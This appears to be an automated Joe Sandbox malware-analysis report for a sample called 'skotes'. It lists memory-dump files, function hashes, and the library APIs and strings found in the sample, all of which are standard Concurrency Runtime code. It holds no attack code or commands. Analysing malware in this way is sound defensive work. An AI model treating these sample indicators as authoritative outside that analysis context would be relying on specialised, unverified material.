Associated: 00000006.00000002.3398142318.0000000000DC9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398193052.0000000000DCD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398251077.0000000000DD5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398309435.0000000000DDE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398402608.0000000000DEE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398457685.0000000000DEF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398507275.0000000000DF6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398560517.0000000000DFB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398615587.0000000000E02000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398686397.0000000000E06000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398760073.0000000000E0E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398823301.0000000000E12000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398883662.0000000000E1F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398957010.0000000000E20000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399019622.0000000000E2D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399080155.0000000000E2E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399080155.0000000000E4D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399220623.0000000000E64000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399282452.0000000000E65000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399329890.0000000000E7B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399380274.0000000000E7C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399427278.0000000000E83000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399474378.0000000000E85000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399516797.0000000000E93000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399569697.0000000000E94000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b80000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::FreeIdleProcessorRoot::SpinUntilVirtualstd::invalid_argument::invalid_argument
String ID: pContext
API String ID: 3390424672-2046700901
Opcode ID: e6820383366d10246b2910ffb1d7ae5e863580ca0e787550c8fea779e38f122e
Instruction ID: 49bb2372644714bff2a5b569eb05c050f46a4fb5246d6c9d44b9b9818399005e
Opcode Fuzzy Hash: e6820383366d10246b2910ffb1d7ae5e863580ca0e787550c8fea779e38f122e
Instruction Fuzzy Hash: 7A21E235B106159BCB14AB6CDCA5AFCB3E9FF94324B4409AAE411872D1DFE4A841CAD0

Function 00BAAE65 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 80COMMON

Download Yara Rule

APIs

List.LIBCONCRT ref: 00BAAEEA
std::invalid_argument::invalid_argument.LIBCONCRT ref: 00BAAF0F
Concurrency::details::FreeVirtualProcessorRoot::FreeVirtualProcessorRoot.LIBCONCRT ref: 00BAAF4E

Strings

pExecutionResource, xrefs: 00BAAF07

Memory Dump Source

Source File: 00000006.00000002.3391709308.0000000000B81000.00000040.00000001.01000000.00000007.sdmp, Offset: 00B80000, based on PE: true

Associated: 00000006.00000002.3391127329.0000000000B80000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3391709308.0000000000BE2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3392040119.0000000000BE9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3392143183.0000000000BEB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3392255845.0000000000BF7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3393813092.0000000000D4E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3393871645.0000000000D50000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3393943100.0000000000D62000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3393943100.0000000000D70000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3394423465.0000000000D73000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3394489705.0000000000D74000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3394550960.0000000000D75000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3394608742.0000000000D76000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3394925292.0000000000D77000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3395909524.0000000000D79000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3395978087.0000000000D88000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3397711898.0000000000D89000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3397793080.0000000000D9F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3397852533.0000000000DA1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3397923271.0000000000DA3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3397985271.0000000000DB2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398039211.0000000000DBF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398087705.0000000000DC0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398142318.0000000000DC9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398193052.0000000000DCD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398251077.0000000000DD5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398309435.0000000000DDE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398402608.0000000000DEE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398457685.0000000000DEF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398507275.0000000000DF6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398560517.0000000000DFB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398615587.0000000000E02000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398686397.0000000000E06000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398760073.0000000000E0E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398823301.0000000000E12000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398883662.0000000000E1F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398957010.0000000000E20000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399019622.0000000000E2D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399080155.0000000000E2E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399080155.0000000000E4D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399220623.0000000000E64000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399282452.0000000000E65000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399329890.0000000000E7B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399380274.0000000000E7C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399427278.0000000000E83000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399474378.0000000000E85000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399516797.0000000000E93000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399569697.0000000000E94000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b80000_skotes.jbxd

Yara matches

Similarity

API ID: FreeProcessorVirtual$Concurrency::details::ListRootRoot::std::invalid_argument::invalid_argument
String ID: pExecutionResource
API String ID: 1772865662-359481074
Opcode ID: 3433304f9d79f4d74544b950b72b631d991790da178760ade243601f5f063166
Instruction ID: ed23af3070cd932258eb8bc56c0359abfdaf777aed4a48d3915554de6af2ddc1
Opcode Fuzzy Hash: 3433304f9d79f4d74544b950b72b631d991790da178760ade243601f5f063166
Instruction Fuzzy Hash: 852176756413059BCF08EF54C892BADB7E5BF48310F1440A9E505AB392DBB4AE05CBA5

Function 00BA4EA2 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 74COMMON

Download Yara Rule

APIs

std::invalid_argument::invalid_argument.LIBCONCRT ref: 00BA4F24
Concurrency::details::CacheLocalScheduleGroupSegment::CacheLocalScheduleGroupSegment.LIBCONCRT ref: 00BA4F66

Strings

ppVirtualProcessorRoots, xrefs: 00BA4F1C
count, xrefs: 00BA4EBA

Memory Dump Source

Source File: 00000006.00000002.3391709308.0000000000B81000.00000040.00000001.01000000.00000007.sdmp, Offset: 00B80000, based on PE: true

Associated: 00000006.00000002.3391127329.0000000000B80000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3391709308.0000000000BE2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3392040119.0000000000BE9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3392143183.0000000000BEB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3392255845.0000000000BF7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3393813092.0000000000D4E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3393871645.0000000000D50000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3393943100.0000000000D62000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3393943100.0000000000D70000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3394423465.0000000000D73000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3394489705.0000000000D74000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3394550960.0000000000D75000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3394608742.0000000000D76000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3394925292.0000000000D77000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3395909524.0000000000D79000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3395978087.0000000000D88000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3397711898.0000000000D89000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3397793080.0000000000D9F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3397852533.0000000000DA1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3397923271.0000000000DA3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3397985271.0000000000DB2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398039211.0000000000DBF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398087705.0000000000DC0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398142318.0000000000DC9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398193052.0000000000DCD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398251077.0000000000DD5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398309435.0000000000DDE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398402608.0000000000DEE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398457685.0000000000DEF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398507275.0000000000DF6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398560517.0000000000DFB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398615587.0000000000E02000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398686397.0000000000E06000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398760073.0000000000E0E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398823301.0000000000E12000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398883662.0000000000E1F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398957010.0000000000E20000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399019622.0000000000E2D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399080155.0000000000E2E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399080155.0000000000E4D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399220623.0000000000E64000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399282452.0000000000E65000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399329890.0000000000E7B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399380274.0000000000E7C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399427278.0000000000E83000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399474378.0000000000E85000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399516797.0000000000E93000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399569697.0000000000E94000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b80000_skotes.jbxd

Yara matches

Similarity

API ID: CacheGroupLocalSchedule$Concurrency::details::SegmentSegment::std::invalid_argument::invalid_argument
String ID: count$ppVirtualProcessorRoots
API String ID: 2663199487-3650809737
Opcode ID: ecd8901f4d9b8cdaaa5a9eb32f260244a50e2a70071b40170bb5d610fe687657
Instruction ID: 1758d3487a8d2e3158b12ac3735b824bf9e73e6038f300a9e1388c49e18892ce
Opcode Fuzzy Hash: ecd8901f4d9b8cdaaa5a9eb32f260244a50e2a70071b40170bb5d610fe687657
Instruction Fuzzy Hash: 42218335604615EFCF18EF98C892EADB7F5FF89310F1040AAE50697691DBB1AE01CB51

Function 00BAB975 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 64COMMONLIBRARYCODE

Download Yara Rule

APIs

Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_error.LIBCONCRT ref: 00BABA0E

Strings

RoUninitialize, xrefs: 00BAB9C1
combase.dll, xrefs: 00BAB983, 00BAB988, 00BAB99D, 00BAB9C8
RoInitialize, xrefs: 00BAB998

Memory Dump Source

Source File: 00000006.00000002.3391709308.0000000000B81000.00000040.00000001.01000000.00000007.sdmp, Offset: 00B80000, based on PE: true

Associated: 00000006.00000002.3391127329.0000000000B80000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3391709308.0000000000BE2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3392040119.0000000000BE9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3392143183.0000000000BEB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3392255845.0000000000BF7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3393813092.0000000000D4E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3393871645.0000000000D50000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3393943100.0000000000D62000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3393943100.0000000000D70000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3394423465.0000000000D73000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3394489705.0000000000D74000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3394550960.0000000000D75000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3394608742.0000000000D76000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3394925292.0000000000D77000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3395909524.0000000000D79000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3395978087.0000000000D88000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3397711898.0000000000D89000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3397793080.0000000000D9F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3397852533.0000000000DA1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3397923271.0000000000DA3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3397985271.0000000000DB2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398039211.0000000000DBF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398087705.0000000000DC0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398142318.0000000000DC9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398193052.0000000000DCD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398251077.0000000000DD5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398309435.0000000000DDE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398402608.0000000000DEE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398457685.0000000000DEF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398507275.0000000000DF6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398560517.0000000000DFB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398615587.0000000000E02000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398686397.0000000000E06000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398760073.0000000000E0E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398823301.0000000000E12000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398883662.0000000000E1F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398957010.0000000000E20000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399019622.0000000000E2D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399080155.0000000000E2E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399080155.0000000000E4D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399220623.0000000000E64000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399282452.0000000000E65000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399329890.0000000000E7B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399380274.0000000000E7C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399427278.0000000000E83000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399474378.0000000000E85000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399516797.0000000000E93000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399569697.0000000000E94000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b80000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_error
String ID: RoInitialize$RoUninitialize$combase.dll
API String ID: 348560076-3997890769
Opcode ID: e65adf7cb87e9a71c71215faee9c49f31250a80e019527a8ca0da90b27eb9c27
Instruction ID: 3ccb9aecf3bb0de57476d27216d61b876a10c314aa39c3431aaea9340c31ba53
Opcode Fuzzy Hash: e65adf7cb87e9a71c71215faee9c49f31250a80e019527a8ca0da90b27eb9c27
Instruction Fuzzy Hash: 5701F57158A3556EEB20BBB59C41FAB31DCDF0330CF2018BAE551EB192FF65E40086A1

Function 00BA6E1C Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 61COMMON

Download Yara Rule

APIs

SafeRWList.LIBCONCRT ref: 00BA6E73

Part of subcall function 00BA4E6E: Concurrency::details::_ReaderWriterLock::_AcquireWrite.LIBCONCRT ref: 00BA4E7F
Part of subcall function 00BA4E6E: List.LIBCMT ref: 00BA4E89

std::invalid_argument::invalid_argument.LIBCONCRT ref: 00BA6E85
Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_error.LIBCONCRT ref: 00BA6EAA

Strings

eventObject, xrefs: 00BA6E7D

Memory Dump Source

Source File: 00000006.00000002.3391709308.0000000000B81000.00000040.00000001.01000000.00000007.sdmp, Offset: 00B80000, based on PE: true

Associated: 00000006.00000002.3391127329.0000000000B80000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3391709308.0000000000BE2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3392040119.0000000000BE9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3392143183.0000000000BEB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3392255845.0000000000BF7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3393813092.0000000000D4E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3393871645.0000000000D50000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3393943100.0000000000D62000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3393943100.0000000000D70000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3394423465.0000000000D73000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3394489705.0000000000D74000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3394550960.0000000000D75000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3394608742.0000000000D76000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3394925292.0000000000D77000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3395909524.0000000000D79000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3395978087.0000000000D88000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3397711898.0000000000D89000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3397793080.0000000000D9F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3397852533.0000000000DA1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3397923271.0000000000DA3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3397985271.0000000000DB2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398039211.0000000000DBF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398087705.0000000000DC0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398142318.0000000000DC9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398193052.0000000000DCD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398251077.0000000000DD5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398309435.0000000000DDE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398402608.0000000000DEE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398457685.0000000000DEF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398507275.0000000000DF6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398560517.0000000000DFB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398615587.0000000000E02000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398686397.0000000000E06000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398760073.0000000000E0E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398823301.0000000000E12000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398883662.0000000000E1F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398957010.0000000000E20000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399019622.0000000000E2D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399080155.0000000000E2E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399080155.0000000000E4D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399220623.0000000000E64000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399282452.0000000000E65000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399329890.0000000000E7B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399380274.0000000000E7C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399427278.0000000000E83000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399474378.0000000000E85000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399516797.0000000000E93000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399569697.0000000000E94000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b80000_skotes.jbxd

Yara matches

Similarity

API ID: List$AcquireConcurrency::details::_Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_errorLock::_ReaderSafeWriteWriterstd::invalid_argument::invalid_argument
String ID: eventObject
API String ID: 1288476792-1680012138
Opcode ID: 6ea733552a46df48f2b9306be8874cf1143074811da76f61a80b68969a597700
Instruction ID: 22c2b097521bab7232f7a370686049bcc34ac0f085d48f53930d4181be670990
Opcode Fuzzy Hash: 6ea733552a46df48f2b9306be8874cf1143074811da76f61a80b68969a597700
Instruction Fuzzy Hash: 6D11E1B5544204EBDB28FBA4CC86FEEB7E89F01744F2041A6B515B61D1EB70AE04C6A5

Function 00BAA0EE Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 35threadCOMMON

Download Yara Rule

APIs

Concurrency::details::SchedulerProxy::GetCurrentThreadExecutionResource.LIBCMT ref: 00BAA102
Concurrency::details::ResourceManager::RemoveExecutionResource.LIBCONCRT ref: 00BAA126
std::invalid_argument::invalid_argument.LIBCONCRT ref: 00BAA139

Strings

pScheduler, xrefs: 00BAA131

Memory Dump Source

Source File: 00000006.00000002.3391709308.0000000000B81000.00000040.00000001.01000000.00000007.sdmp, Offset: 00B80000, based on PE: true

Associated: 00000006.00000002.3391127329.0000000000B80000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3391709308.0000000000BE2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3392040119.0000000000BE9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3392143183.0000000000BEB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3392255845.0000000000BF7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3393813092.0000000000D4E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3393871645.0000000000D50000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3393943100.0000000000D62000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3393943100.0000000000D70000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3394423465.0000000000D73000.00000080.00000001.01000000.00000007.sdmpDownload File
